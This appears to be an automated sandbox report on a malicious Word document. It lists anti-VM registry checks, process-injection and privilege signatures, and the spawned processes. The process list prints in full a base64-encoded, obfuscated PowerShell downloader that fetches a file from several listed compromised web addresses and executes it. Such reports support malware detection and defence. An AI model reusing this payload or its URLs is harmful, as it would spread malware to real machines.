Task
task1
Sample
Docs_34df7390e3fba4cc8b8de327c79c3741.5.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_34df7390e3fba4cc8b8de327c79c3741.5.doc
Resource
win10
0 signatures
General
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Target
Docs_34df7390e3fba4cc8b8de327c79c3741.5
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Sample
191010-d1b5lletje
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SHA256
51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4
Score
N/A
Malware Config
Signatures
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Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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Processes:
WINWORD.EXEat description ioc process 33172 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 33266 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 34532 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.5.doc WINWORD.EXE 34750 File created C:\Users\Admin\AppData\Local\Temp\~$cs_34df7390e3fba4cc8b8de327c79c3741.5.doc WINWORD.EXE -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 34438 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 34438 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEat description ioc process 34438 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 34438 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 34438 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 34438 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 34438 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 34438 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 34438 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of FindShellTrayWindow
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Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exeat description process target process 39657 PID 3924 wrote to memory of 3640 SppExtComObj.exe SLUI.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exeat description process 40860 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.5.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:3412
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1496
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3924
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3640